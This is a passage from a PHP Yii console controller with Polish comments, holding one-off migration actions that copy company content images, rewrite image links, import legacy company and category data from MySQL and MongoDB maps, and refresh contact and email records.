//                    ['id_company', 'label'], 
//                    $data
//                )->execute();
//            } catch(\yii\db\Exception $e) {
//                $this->stderr($e->getMessage());
//                return Controller::EXIT_CODE_ERROR;
//            }
        }
        
        return Controller::EXIT_CODE_NORMAL;
        
    }
    
//    public function actionHideContactDataForStarters($limit, $offset)
//    {
//        $models = \common\models\CompaniesPresentations::find()
//                ->where([
//                    'id_package' => \common\models\PresentationsPackages::PACKAGE_STARTER
//                ])
//                ->limit($limit)
//                ->offset($offset)
//                ->orderBy('id_presentation ASC')
//                ->all();
//        
//        foreach($models as $model) {
//            $settings = $model->settings;
//            $settings['visible_contact_data_items'] = [];
//            $model->settings = $settings;
//            $flag = $model->save(false);
//            if(!$flag) {
//                $this->stderr('Blad podczas zapisu');
//                return Controller::EXIT_CODE_ERROR;
//            }
//        }
//        
//        return Controller::EXIT_CODE_NORMAL;
//    }
    
    public function actionButtonBanners() 
    {        
        $this->fillBanners('Button', 71);
        
        return Controller::EXIT_CODE_NORMAL;        
    }
    
    public function actionNormalBanners() 
    {        
        $this->fillBanners('Banner', 71);
        
        return Controller::EXIT_CODE_NORMAL;        
    }
    
    protected function fillBanners($type, $idPortal)
    {
        exit;
        
        $urls = ['http://www.google.pl', 'http://www.wp.pl', 'http://www.onet.pl', 'http://www.wikipedia.pl'];
        
        $objDI = new \DirectoryIterator(Yii::getAlias('@runtime').'/sources/banners/'.$idPortal.'/'.strtolower($type).'s/');
        $counter = 1;
        foreach($objDI as $fileinfo) {
            if(!$fileinfo->isFile()) {
                continue;
            }
            
            $transaction = Yii::$app->db->beginTransaction();
            
            $extension = $fileinfo->getExtension();
            $baseName = $fileinfo->getBasename('.' .$extension);
            list($location, $order) = explode("_", $baseName);
            $location = $type.' '.strtoupper($location);
            list($width, $height) = getimagesize($fileinfo->getPathname());
            $targetFileName = \common\models\Banners::createFileName($baseName, $extension);
            
            $model = new \common\models\Banners(['scenario' => 'update']);
            $model->id_portal = $idPortal;
            $model->id_company = 2;
            $model->filename = $targetFileName;
            $model->url = $urls[array_rand($urls)];
            $model->title = 'Baner testowy nr '.$counter;
            $model->format = strtoupper($extension);
            $model->location = $location;
            $model->width = $width;
            $model->height = $height;
            $model->date_start = '2018-05-20';
            $model->date_end = '2018-09-20';
            $model->views_limit = 10000;
            $model->status = \common\models\types\Status::ACTIVE;          
            
            $flag = $model->validate();  
            $flag = $flag && $model->save(false);
            if($flag) {
                $counter++;
                copy($fileinfo->getPathname(), Yii::getAlias('@bannersImagesRealPath').'/'.$targetFileName);
                $transaction->commit();
            } else {
//                var_dump($model->getErrors()); exit;
                $transaction->rollBack();
            }
        }
    }
    
    public function actionRefreshCompaniesTabsActivityStatus($idPortal)
    {
        $modelsPresentations = \common\models\CompaniesPresentations::find()->where(['id_portal' => $idPortal])->all();        
        if(empty($modelsPresentations)) {
            return Controller::EXIT_CODE_NORMAL;
        }
        
        foreach($modelsPresentations as $modelPresentation) {
            \backend\components\helpers\PresentationsHelper::refreshTabsActivityStatus($modelPresentation, [
                \common\models\PresentationsTabs::TAB_BRANCHES,
                \common\models\PresentationsTabs::TAB_DOWNLOAD,
                \common\models\PresentationsTabs::TAB_PHOTO_GALLERIES,
                \common\models\PresentationsTabs::TAB_VIDEO_GALLERIES,
                \common\models\PresentationsTabs::TAB_REFERENCES_AND_AWARDS,
                \common\models\PresentationsTabs::TAB_PUBLICATIONS,
                \common\models\PresentationsTabs::TAB_PRODUCTS_AND_SERVICES
            ]);
        }
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionPresentationsOfferAndAboutCompany2()
    {
        $modelsPages = \common\models\CompaniesPresentationsPages::find()
                ->with([
                    'companyTab.presentation'
                ])
                ->join('INNER JOIN', 'companies_presentations_tabs', 'companies_presentations_tabs.id_company_tab = companies_presentations_pages.id_company_tab')
                ->join('INNER JOIN', 'companies_presentations', 'companies_presentations.id_presentation = companies_presentations_tabs.id_presentation')
                ->where([
                    'companies_presentations.id_portal' => 8,
                    'companies_presentations_tabs.id_tab' => [\common\models\PresentationsTabs::TAB_ABOUT_COMPANY, \common\models\PresentationsTabs::TAB_OFFER],
//                    'companies_presentations_tabs.id_company_tab' => [13163, 13162] 
                ])
                ->andWhere('companies_presentations.id_presentation > 2123')
//                ->offset(0)
//                ->limit(2)
                ->all();

        $companiesToUsersMap = $usersToCompaniesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $companiesToUsersMap[(int)$document['target_id']] = (int)$document['source_id'];
                $usersToCompaniesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 

        $sql = 'SELECT pf.opis_wyszukiwarka, pf.id_user, pf.oferta, u.opis_wyszukiwarka AS skrocony_opis_wyszukiwarka
                FROM users u, pakiety_users pu, portal_firmy pf 
                WHERE u.id_user = pu.id_user 
                    AND u.id_user = pf.id_user                      
                    AND u.id_portal = 8 
                    AND u.profil = 8 
                    AND u.status = 1 
                    AND pu.id_pakiet > 1 
                ORDER BY pf.id_user ASC';
        $data = [];
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        foreach($rows as $row) {
            if(empty($usersToCompaniesMap[intval($row['id_user'])])) {
                continue;
            }
            
            if(!empty($row['opis_wyszukiwarka'])) {            
                $aboutCompanyContent = $this->convertDataLatin2ToUTF8($row['opis_wyszukiwarka']);
                $aboutCompanyContent = $this->replaceImgUsersLinks($aboutCompanyContent, intval($row['id_user']), $usersToCompaniesMap[intval($row['id_user'])]);
            } else {
                $aboutCompanyContent = 'Uzupełnij';
            }
            
            if(!empty($row['oferta'])) {            
                $offer = $this->convertDataLatin2ToUTF8($row['oferta']);
                $offer = $this->replaceImgUsersLinks($offer, intval($row['id_user']), $usersToCompaniesMap[intval($row['id_user'])]);
            } else {
                $offer = 'Uzupełnij';
            }
            
            $data[intval($row['id_user'])] = [
                'about_company_content' => $aboutCompanyContent,
                'offer' => $offer
            ];
        }
        unset($rows);
        
        foreach($modelsPages as $modelPage) {
            $idCompany = $modelPage->companyTab->presentation->id_company;
            if(!isset($companiesToUsersMap[$idCompany]) || !isset($data[$companiesToUsersMap[$idCompany]])) {
                continue;
            }
            
            $aboutCompany = $data[$companiesToUsersMap[$idCompany]]['about_company_content'];
            $offer = $data[$companiesToUsersMap[$idCompany]]['offer'];
            if($modelPage->companyTab->id_tab === \common\models\PresentationsTabs::TAB_ABOUT_COMPANY) {
                $modelPage->content = !empty($aboutCompany) ? $aboutCompany : null; 
            } elseif($modelPage->companyTab->id_tab === \common\models\PresentationsTabs::TAB_OFFER) {
                $modelPage->content = !empty($offer) ? $offer : null; 
            } else {
                continue;
            }
            
            $transaction = Yii::$app->db->beginTransaction();      
            echo "\n".'Strona: '.$modelPage->id_company_tab.' - ';
            $flag = $modelPage->save(false);
            if($flag) {
                $transaction->commit();
                echo 'zmodyfikowana';
            } else {
                $transaction->rollBack();
                echo 'blad';
            }
        }
    }
    
    protected function replaceImgUsersLinks($content, $idUser, $idCompany)
    {
        if(!empty($content) && !empty($idUser) && !empty($idCompany)) {
            //@todo sprawdzić, czy ścieżki zaczynają się od http czy od razu od /img/users
//            $content = preg_replace('#src="\/img\/users\/'.$idUser.'\/#i', 'src="'.Yii::getAlias('@companiesImagesUrl').'/'.$idCompany.'/'.Yii::getAlias('@companiesContentsImagesDirName').'/', $content);
            $content = preg_replace('#src="\/img\/users\/'.$idUser.'\/#i', 'src="http://www.vmanager-common.test/uploads/source/companies/'.$idCompany.'/', $content);
        } 
        
        return $content;
    }
    
    public function actionCopyContentImagesForCompanies()
    {
        $usersToCompaniesMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $usersToCompaniesMap[(int)$document['source_id']] = (int)$document['target_id'];
            }
        } 

        $sql = 'SELECT u.id_user 
                FROM users u, pakiety_users pu 
                WHERE u.id_user = pu.id_user 
                    AND u.id_portal = 8 
                    AND u.profil = 8 
                    AND u.status = 1 
                    AND pu.id_pakiet > 1 
                ORDER BY u.id_user ASC';

        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        foreach($rows as $row) {
            $idUser = intval($row['id_user']);
            if(empty($usersToCompaniesMap[$idUser])) {
                continue;
            }            
            $idCompany = $usersToCompaniesMap[$idUser];
            
//            var_dump('ID USER: '.$idUser);
//            var_dump('ID COMPANY: '.$idCompany);
            
            //@todo przetestować czy kopiuje prawidłowo
            if(file_exists(Yii::getAlias('@runtime').'/sources/companies_content_images/'.$idUser.'/')) {
                $sourcePath = Yii::getAlias('@runtime').'/sources/companies_content_images/'.$idUser.'/';
                $targetPath = Yii::getAlias('@companiesImagesRealPath').'/'.$idCompany.'/'.Yii::getAlias('@companiesContentsImagesDirName').'/';
                if(!$this->copyDir($sourcePath, $targetPath)) {
                    $this->removeDir($targetPath); 
                }
                
//                var_dump($targetPath);
            }
            
//            exit;
        }
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    protected function copyDir($sourcePath, $targetPath) 
    {
        if(!file_exists($sourcePath)) {
            return false;
        }
        
        $dir = new \DirectoryIterator($sourcePath);
        $flag = true;
        foreach($dir as $fileinfo) {
            if($fileinfo->isFile() || $fileinfo->isLink()) {
                $fileToCopy = [
                    'source_path' => rtrim($sourcePath, "/").'/'.$fileinfo->getFilename(),
                    'target_path' => rtrim($targetPath, "/").'/'.$fileinfo->getFilename()
                ];
                if(!$this->copyFile($fileToCopy)) {
                    $flag = false;
                    break;
                }
            } 
            elseif(!$fileinfo->isDot() && $fileinfo->isDir()) {
                $flag = $this->copyDir(rtrim($sourcePath, "/").'/'.$fileinfo->getBasename().'/', rtrim($targetPath, "/").'/'.$fileinfo->getBasename().'/');
                if(!$flag) {
                    break;
                }
            }
        }
        unset($dir, $fileinfo);
        
        return $flag;
    }
    
    protected function removeDir($path) 
    {
        $dir = new \DirectoryIterator($path);
        foreach($dir as $fileinfo) {
            if($fileinfo->isFile() || $fileinfo->isLink()) {
                @unlink($fileinfo->getPathName());
            } 
            elseif(!$fileinfo->isDot() && $fileinfo->isDir()) {
                $this->removeDir($fileinfo->getPathName());
            }
        }
        unset($dir, $fileinfo);
        rmdir($path);
    }
    
    protected function copyFile($fileToCopy)
    {
        $targetDir = dirname($fileToCopy['target_path']);
        $orCreatedDir = false;
        if(!file_exists($targetDir)) {
            mkdir($targetDir, 0777, true);
            $orCreatedDir = true;
        }
        
        if(copy($fileToCopy['source_path'], $fileToCopy['target_path']) === false) {
            if($orCreatedDir === true) {
                $this->removeDir($targetDir);
            }
            return false;
        } else {
            return true;
        }
    }
    
    public function actionMoveArticlesContentImages()
    {
        exit;
        $directory = Yii::getAlias('@articlesImagesRealPath');

        $dir = new \DirectoryIterator($directory);
        $flag = true;
        foreach($dir as $fileinfo) {
            if(!$fileinfo->isDot() && $fileinfo->isDir()) {
                $idArticle = intval($fileinfo->getBasename());
                
                $dirToCopy = [
                    'source' => $directory.'/'.$idArticle.'/content/',
                    'target' => 'common/web/uploads/source/articles/'.$idArticle.'/'
                ];
                
                if(!file_exists($dirToCopy['source'])) {
                    continue;
                }
                
                $flag = $this->copyDir($dirToCopy['source'], $dirToCopy['target']);
                if(!$flag) {
                    break;
                } else {
                    $this->removeDir($dirToCopy['source']);
                }
            }
        }
        unset($dir, $fileinfo);
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionMoveCompaniesContentImages()
    {
        $directory = Yii::getAlias('@companiesImagesRealPath');

        $dir = new \DirectoryIterator($directory);
        $flag = true;
        foreach($dir as $fileinfo) {
            if(!$fileinfo->isDot() && $fileinfo->isDir()) {
                $idCompany = intval($fileinfo->getBasename());
                
                $dirToCopy = [
                    'source' => $directory.'/'.$idCompany.'/content/',
                    'target' => 'common/web/uploads/source/companies/'.$idCompany.'/'
                ];
                
                if(!file_exists($dirToCopy['source'])) {
                    continue;
                }
                
                $flag = $this->copyDir($dirToCopy['source'], $dirToCopy['target']);
                if(!$flag) {
                    break;
                } else {
                    $this->removeDir($dirToCopy['source']);
                }
            }
        }
        unset($dir, $fileinfo);
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionRenameDirectoryTest()
    {
        $directory = Yii::getAlias('@sourcesRealPath').'/test2';

        rename($directory, $directory.'2');
        
        return Controller::EXIT_CODE_NORMAL;
    }
    
    public function actionProductsSrc()
    {
        $modelsProducts = \common\models\Products::find()
                ->andWhere('products.id_company > 784')
//                ->offset(0)
//                ->limit(1)
//                ->where(['id_product' => 5730])
                ->all();
        
        $companiesToUsersMap = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $companiesToUsersMap[(int)$document['target_id']] = (int)$document['source_id'];
            }
        } 
        
        $counterOfNotCorrected = 0;
        foreach($modelsProducts as $modelProduct) {
            $idCompany = $modelProduct->id_company;
            if(!isset($companiesToUsersMap[$idCompany])) {
                continue;
            }
            $idUser = $companiesToUsersMap[$idCompany];
            
            $modelProduct->description = preg_replace('#src="\/img\/users\/'.$idUser.'\/#i', 'src="http://www.vmanager-common.test/uploads/source/companies/'.$idCompany.'/', $modelProduct->description);

            $transaction = Yii::$app->db->beginTransaction();      
            echo "\n".'Produkt: '.$modelProduct->id_product.' - ';
            $flag = $modelProduct->save(false);
            if($flag) {
                $transaction->commit();
                echo 'zmodyfikowany';
            } else {
                $transaction->rollBack();
                $counterOfNotCorrected++;
                echo 'blad';
            }
        }
        echo "\n".'Ilosc niepoprawionych produktow: '.$counterOfNotCorrected.' - ';
    }
    
    public function actionContactDataFieldsLabels()
    {
        exit;
        //companies_branches_contact_data
        //companies_contact_data
        //companies_departments_contact_data
        //companies_employees_contact_data
        //users_contact_data
        
        $models = \common\models\CompaniesBranchesContactData::find()
                ->where([
                    'data_type' => [
                        \common\models\types\ContactDataType::MOBILE_PHONE, 
                        \common\models\types\ContactDataType::PHONE, 
                        \common\models\types\ContactDataType::WWW
                    ]
                ])
                ->all();        
        $this->changeContactDataTypeLabels($models);
        
        $models = \common\models\CompaniesContactData::find()
                ->where([
                    'data_type' => [
                        \common\models\types\ContactDataType::MOBILE_PHONE, 
                        \common\models\types\ContactDataType::PHONE, 
                        \common\models\types\ContactDataType::WWW
                    ]
                ])
                ->all();        
        $this->changeContactDataTypeLabels($models);
        
        $models = \common\models\CompaniesDepartmentsContactData::find()
                ->where([
                    'data_type' => [
                        \common\models\types\ContactDataType::MOBILE_PHONE, 
                        \common\models\types\ContactDataType::PHONE, 
                        \common\models\types\ContactDataType::WWW
                    ]
                ])
                ->all();        
        $this->changeContactDataTypeLabels($models);
        
        $models = \common\models\CompaniesEmployeesContactData::find()
                ->where([
                    'data_type' => [
                        \common\models\types\ContactDataType::MOBILE_PHONE, 
                        \common\models\types\ContactDataType::PHONE, 
                        \common\models\types\ContactDataType::WWW
                    ]
                ])
                ->all();        
        $this->changeContactDataTypeLabels($models);
        
        $models = \common\models\UsersContactData::find()
                ->where([
                    'data_type' => [
                        \common\models\types\ContactDataType::MOBILE_PHONE, 
                        \common\models\types\ContactDataType::PHONE, 
                        \common\models\types\ContactDataType::WWW
                    ]
                ])
                ->all();        
        $this->changeContactDataTypeLabels($models);
    }
    
    protected function changeContactDataTypeLabels($models)
    {
        if(!empty($models)) {
            foreach($models as $model) {
                switch($model->data_type) {
                    case \common\models\types\ContactDataType::MOBILE_PHONE:
                        $model->data_label = str_replace(['telefon komórkowy', 'Telefon komórkowy'], 'kom.', $model->data_label);
                        $model->save(false);
                        break;
                    case \common\models\types\ContactDataType::PHONE:
                        $model->data_label = str_replace(['telefon stacjonarny', 'Telefon stacjonarny'], 'kom.', $model->data_label); 
                        $model->save(false);
                        break;
                    case \common\models\types\ContactDataType::WWW:
                        $model->data_label = str_replace(['adres WWW', 'Adres WWW'], 'www', $model->data_label);
                        $model->save(false);
                        break;
                }
            }
        }
    }
    
    public function actionVisibilityCompaniesContactData()
    {
        $models = \common\models\CompaniesPresentations::find()
                ->with([
                    'company.contactData'
                ])
                ->offset(16000)
                ->limit(1000)
                ->all();

        if(empty($models)) {
            var_dump('pusto'); exit;
        }
        
        $inorrect = [];
        foreach($models as $model) {
            if(empty($model->company->contactData)) {
                continue;
            }
            $idsContactData = [];
            foreach($model->company->contactData as $modelContactData) {
                $idsContactData[] = (string)$modelContactData->id_contact_data;
            }
            $model->setSettingsKey('visible_contact_data_items', $idsContactData);
            $flag = $model->saveSettings();
            if(!$flag) {
                $inorrect[] = $model->id_presentation;
            }
        }
        echo "\n".'Niepoprawione prezentacje: '.implode(",", $inorrect);
    }
    
    public function actionCompaniesPresentationsMirroring()
    {
        $presentations = \common\models\CompaniesPresentations::find()
                ->select(['id_presentation', 'id_company'])
                ->asArray()
//                ->offset(0)
//                ->limit(1000)
                ->all();

        if(empty($presentations)) {
            var_dump('pusto'); exit;
        }
        
        $presentationsByCompanies = [];
        foreach($presentations as $presentation) {
            $presentationsByCompanies[$presentation['id_company']][] = $presentation['id_presentation'];
        }
        unset($presentations);
        
        $transaction = Yii::$app->db->beginTransaction();     
        foreach($presentationsByCompanies as $idCompany => $presentations) {
            foreach($presentations as $idPresentation1) {
                foreach($presentations as $idPresentation2) {
                    if($idPresentation1 === $idPresentation2) {
                        continue;
                    }
                    $model = new \common\models\CompaniesPresentationsMirroring();
                    $model->id_presentation = $idPresentation1;
                    $model->id_related_presentation = $idPresentation2;
                    $flag = $model->save(false);
                    if(!$flag) {
                        var_dump('ERROR');
                        $transaction->rollBack();
                    }
                }
            }
        }
        $transaction->commit();
        var_dump('OK');
    }
    
    public function actionFillUsersRelationsCollection()
    {
        exit;
        
        $companiesToUsersMap = \yii\helpers\ArrayHelper::map(\common\models\Companies::find()->select(['id_user', 'id_company'])->asArray()->all(), 'id_company', 'id_user');
        
        $vortaleUsersToCompaniesMap = [];
        $documents = (new \yii\mongodb\Query())->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        foreach($documents as $document) {
            $vortaleUsersToCompaniesMap[(int)$document['source_id']] = (int)$document['target_id'];
        }
        
        $saved = [];
        foreach($vortaleUsersToCompaniesMap as $idVortaleUser => $idCompany) {
            $idVmanagerUser = $companiesToUsersMap[$idCompany];
            if($idVmanagerUser && empty($saved[$idVortaleUser.'_'.$idVmanagerUser])) {
                Yii::$app->mongodb->getCollection('import_users')->save(['source_id' => $idVortaleUser, 'target_id' => $idVmanagerUser, 'status' => 'OK', 'info' => null]);
                $saved[$idVortaleUser.'_'.$idVmanagerUser] = true;
            }
        }
    }
    
    public function actionFixCompaniesRelationsWithCategories()
    {
        $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM katalog_firm_kategorie GROUP BY id_user, kategoria, kategoria_1 HAVING COUNT(*) > 1')->queryAll();
        if(empty($rows)) {
            $this->stdout('BRAK ELEMENTOW DO PRZETWORZENIA');
            return;
        }        
        
        $companiesWithCategories = [];
        foreach($rows as $row) {
            if(!empty($row['kategoria_1'])) {
                $companiesWithCategories[$row['id_user']][$row['kategoria']] = false; //ustawiamy do pominięcia
                
            } else {
                $companiesWithCategories[$row['id_user']][$row['kategoria']] = isset($companiesWithCategories[$row['id_user']][$row['kategoria']]) ? false : true;
            }
            unset($rows);
        }
//        $counter = 0;
//        foreach($companiesWithCategories as $idUser => $categories) {
//            if(empty($categories)) {
//                continue;
//            }
//            foreach($categories as $key => $value) {
//                $counter++;
//            }
//        }        
//        var_dump($counter);
        
        if(!empty($companiesWithCategories)) {
            foreach($companiesWithCategories as $idUser => $categories) {
                foreach($categories as $key => $value) {
                    if($value === false) {
                        unset($companiesWithCategories[$idUser][$key]);
                    }
                }
            }            
        }
        
        $categoriesMap = [];
        $documents = (new \yii\mongodb\Query())->from('import_companies_categories')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        foreach($documents as $document) {
            $categoriesMap[(int)$document['source_id']] = (int)$document['target_id'];
        }
        
        if(!empty($companiesWithCategories)) {
            foreach($companiesWithCategories as $idUser => $categories) {
                if(empty($categories)) {
                    unset($companiesWithCategories[$idUser]);
                    continue;
                }
                foreach($categories as $idCategory => $flag) {
                    $rows = Yii::$app->dbVortale->createCommand('SELECT * FROM katalog_firm_kategorie WHERE id_user = '.intval($idUser).' AND kategoria = '.intval($idCategory).' AND kategoria_1 <> 0')->queryAll();
                    if(empty($rows)) {
                        continue;
                    }
                    foreach($rows as $row) {
                        if(isset($companiesWithCategories[$idUser][$idCategory]) && isset($categoriesMap[intval($row['kategoria'])])) {
                            unset($companiesWithCategories[$idUser][$idCategory]);
                            break;
                        }
                    }
                }                
            }            
        }
        
        file_put_contents(Yii::getAlias('@runtime/temp/missed_categories.txt'), serialize($companiesWithCategories));
        
        $companiesWithCategories = unserialize(file_get_contents(Yii::getAlias('@runtime/temp/missed_categories.txt')));
        var_dump($companiesWithCategories); 
        exit;
        
        $companiesMap = [];
        $documents = (new \yii\mongodb\Query())->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        foreach($documents as $document) {
            $companiesMap[(int)$document['source_id']] = (int)$document['target_id'];
        }
        
        $relationsToSave = [];
        if(!empty($companiesWithCategories)) {
            foreach($companiesWithCategories as $idUser => $categories) {
                if(!isset($companiesMap[intval($idUser)])) {
                    continue;
                }
                $idNewCompany = $companiesMap[intval($idUser)];
                foreach($categories as $idCategory => $flag) {
                    if(!isset($categoriesMap[intval($idCategory)])) {
                        continue;
                    }
                    $idNewCategory = $categoriesMap[intval($idCategory)];
                    $idPortal = \common\models\CompaniesCategories::find()->select(['id_portal'])->where(['id_category' => $idNewCategory])->scalar();
                    if(empty($idPortal)) {
                        continue;
                    }
                    $idPresentation = \common\models\CompaniesPresentations::find()->select(['id_presentation'])->where(['id_company' => $idNewCompany, 'id_portal' => $idPortal])->scalar();
                    if(empty($idPresentation)) {
                        continue;
                    }
                    $orEntryExist = \common\models\CompaniesPresentationsHasCompaniesCategories::find()->where(['id_presentation' => $idPresentation, 'id_category' => $idNewCategory])->exists();
                    if(!$orEntryExist) {
                        $relationsToSave[] = [$idPresentation, $idNewCategory];
                    }
                    //@todo
                }                
            }            
        }
        
        if(!empty($relationsToSave)) {
            $transaction = Yii::$app->db->beginTransaction();
            try {
                Yii::$app->db->createCommand()->batchInsert(
                    'companies_presentations_has_companies_categories', 
                    ['id_presentation', 'id_category'], 
                    $relationsToSave
                )->execute();

            } catch(\yii\db\Exception $e) {
                $this->stderr($e->getMessage());
                $transaction->rollBack();
                return \yii\console\ExitCode::IOERR;
            }
//            $transaction->rollBack();
            $transaction->commit();
        }
        
//        var_dump($relationsToSave);
        exit;
        
        
    }
    
    public function actionFixCompaniesRelationsWithCategories2()
    {
        $companiesWithCategories = unserialize(file_get_contents(Yii::getAlias('@runtime/temp/missed_categories.txt')));        
        
        $companiesMap = [];
        $documents = (new \yii\mongodb\Query())->from('import_companies')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        foreach($documents as $document) {
            $companiesMap[(int)$document['source_id']] = (int)$document['target_id'];
        }
        
        $categoriesMap = [];
        $documents = (new \yii\mongodb\Query())->from('import_companies_categories')->select(['_id', 'source_id', 'target_id'])->where(['status' => 'OK'])->all();
        foreach($documents as $document) {
            $categoriesMap[(int)$document['source_id']] = (int)$document['target_id'];
        }
        
        $relationsToSave = [];
        if(!empty($companiesWithCategories)) {
            foreach($companiesWithCategories as $idUser => $categories) {
                if(!isset($companiesMap[intval($idUser)])) {
                    continue;
                }
                $idNewCompany = $companiesMap[intval($idUser)];
                foreach($categories as $idCategory => $flag) {
                    if(!isset($categoriesMap[intval($idCategory)])) {
                        continue;
                    }
                    $idNewCategory = $categoriesMap[intval($idCategory)];
                    $idPortal = \common\models\CompaniesCategories::find()->select(['id_portal'])->where(['id_category' => $idNewCategory])->scalar();
                    if(empty($idPortal)) {
                        continue;
                    }
                    $idPresentation = \common\models\CompaniesPresentations::find()->select(['id_presentation'])->where(['id_company' => $idNewCompany, 'id_portal' => $idPortal])->scalar();
                    if(empty($idPresentation)) {
                        continue;
                    }
                    $orEntryExist = \common\models\CompaniesPresentationsHasCompaniesCategories::find()->where(['id_presentation' => $idPresentation, 'id_category' => $idNewCategory])->exists();
                    if(!$orEntryExist) {
                        $relationsToSave[] = [$idPresentation, $idNewCategory];
                    } 
//                    else {
//                        var_dump([$idPresentation, $idNewCategory]); exit;
//                    }
                    //@todo
                }                
            }            
        }
        
        var_dump(count($relationsToSave));
        exit;
        
        if(!empty($relationsToSave)) {
            $transaction = Yii::$app->db->beginTransaction();
            try {
                Yii::$app->db->createCommand()->batchInsert(
                    'companies_presentations_has_companies_categories', 
                    ['id_presentation', 'id_category'], 
                    $relationsToSave
                )->execute();

            } catch(\yii\db\Exception $e) {
                $this->stderr($e->getMessage());
                $transaction->rollBack();
                return \yii\console\ExitCode::IOERR;
            }
//            $transaction->rollBack();
            $transaction->commit();
        }
        
//        var_dump($relationsToSave);
        exit;
    }
    
    public function actionClearMongo()
    {
        exit;
        $query = new \yii\mongodb\Query();
        $documents = $query->from('import_users')->where(['>', 'target_id', 239998])->all();
        if(!empty($documents)) {
            var_dump($documents);
            foreach($documents as $document) {
//                $document->re
            }
        } 
        unset($documents);
    }
    
    //@todo potem do usunięcia - to testowa metoda
    public function actionCheckDeletedEmails()
    {
        $email = null;
        if(!empty($email)) {
            $sql = 'SELECT adres_email, GROUP_CONCAT(DISTINCT id_portalu) AS portale FROM newsletter2_adresy WHERE (status_usera = "Z" OR status_usera = "U") AND adres_email = "'.$email.'" GROUP BY adres_email';   
        } else {
            $sql = 'SELECT adres_email, GROUP_CONCAT(DISTINCT id_portalu) AS portale FROM newsletter2_adresy WHERE status_usera = "Z" OR status_usera = "U" GROUP BY adres_email ORDER BY adres_email ASC ';
        }
        
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(empty($rows)) {
            return;
        }
        
        $documents = (new \yii\mongodb\Query())->from('emails')->select(['email', 'id_user', 'id_company', 'portals', 'or_newsletter', 'or_mailings', 'or_ads'])->all();
        if(empty($documents)) {
            return;
        }
        $existsEmails = [];
        foreach($documents as $document) {
            $existsEmails[$document['email']][] = [
                'email' => $document['email'],
                'id_user' => $document['id_user'],
                'id_company' => $document['id_company'],
                'portals' => $document['portals'],
                'or_newsletter' => $document['or_newsletter'],
                'or_mailings' => $document['or_mailings'],
                'or_ads' => $document['or_ads'],
            ];
        }
        unset($documents);
        
        $counter = 0;
        foreach($rows as $row) {
            $row = $this->convertDataLatin2ToUTF8($row);
            
            if(isset($existsEmails[$row['adres_email']])) {
                foreach($existsEmails[$row['adres_email']] as $key => $emailData) {
                    if(intval($emailData['or_newsletter']) === 1 || intval($emailData['or_mailings']) === 1) {
                        $idsPortals = explode(",", $row['portale']);
                        $idsPortals = array_map('trim', $idsPortals);
                        $orBreak_2 = false;
                        foreach($emailData['portals'] as $portal) {
                            $orBreak_1 = false;
                            foreach($idsPortals as $idPortal) {
                                if(intval($idPortal) === intval($portal['id']) && !empty($emailData['id_company'])) {
                                    var_dump($row['adres_email']); exit;
                                    $counter += 1;
                                    $orBreak_1 = true;
                                    break;
                                }
                            }
                            if($orBreak_1) {
                                $orBreak_2 = true;
                                break;
                            }
                        }
                        if($orBreak_2) {
                            break;
                        }
                    }
                }
            }
        }
        
        var_dump('Ilość odnalezionych emaili: '.$counter); 
        exit;
        
        
//        $imported = [];
//        $errors = [];
//        $counter = 0;
//        $query = new \yii\mongodb\Query();
//        $documents = $query->from('emails')->select(['id_user', 'id_company'])->all();
//        if(!empty($documents)) {
//            foreach($documents as $document) {
//                if(empty($document['id_user'])) {
//                    continue;
//                }
////                $imported[(int)$document['source_id']] = (int)$document['target_id'];
//                $flag = \common\models\Users::find()->where(['id_user' => $document['id_user']])->exists();
//                if(!$flag) {
//                    $counter++;
//                    echo $document['id_user'].',';
//                }
//            }
//            unset($documents);
//        } 
//        var_dump($counter);
    }
    
    public function actionRefreshCompaniesEmails()
    {
//        $c = \common\models\Companies::find()
//                ->select(['id_company'])
//                ->where(['status' => \common\models\types\Status::ACTIVE])
//                ->count();
//        var_dump($c);
//        exit;
        if(empty($this->limit)) {
            echo "Musisz podać --limit. \n"; exit;
        }
        if(empty($this->offset)) {
            $this->offset = 0;
        }
        
        $refreshedCompanies = [];
        $documents = (new \yii\mongodb\Query())->from('refresh_companies_emails')->select(['id_company'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $refreshedCompanies[(int)$document['id_company']] = 1;
            }
        }   
        
        $idsCompanies = \common\models\Companies::find()
                ->select(['id_company'])
                ->where(['status' => \common\models\types\Status::ACTIVE])
                ->orderBy('id_company ASC')
                ->limit($this->limit)
                ->offset($this->offset)
                ->column();
        if(empty($idsCompanies)) {
            echo "Brak elementów do przetworzenia. \n"; exit;
        }
        
        foreach($idsCompanies as $idCompany) {
            if(isset($refreshedCompanies[$idCompany])) {
                continue;
            }
            
//            echo 'ID company: '.$idCompany."\n";
            \common\models\Emails::refreshForCompany($idCompany);
            Yii::$app->mongodb->getCollection('refresh_companies_emails')->save(['id_company' => intval($idCompany)]);
        }
    }
    
    public function actionRefreshUsersEmails()
    {
//        $c = \common\models\Users::find()
//                ->select(['id_user'])
//                ->where(['status' => \common\models\types\Status::ACTIVE])
//                ->count();
//        var_dump($c);
//        exit;
        if(empty($this->limit)) {
            echo "Musisz podać --limit. \n"; exit;
        }
        if(empty($this->offset)) {
            $this->offset = 0;
        }
        
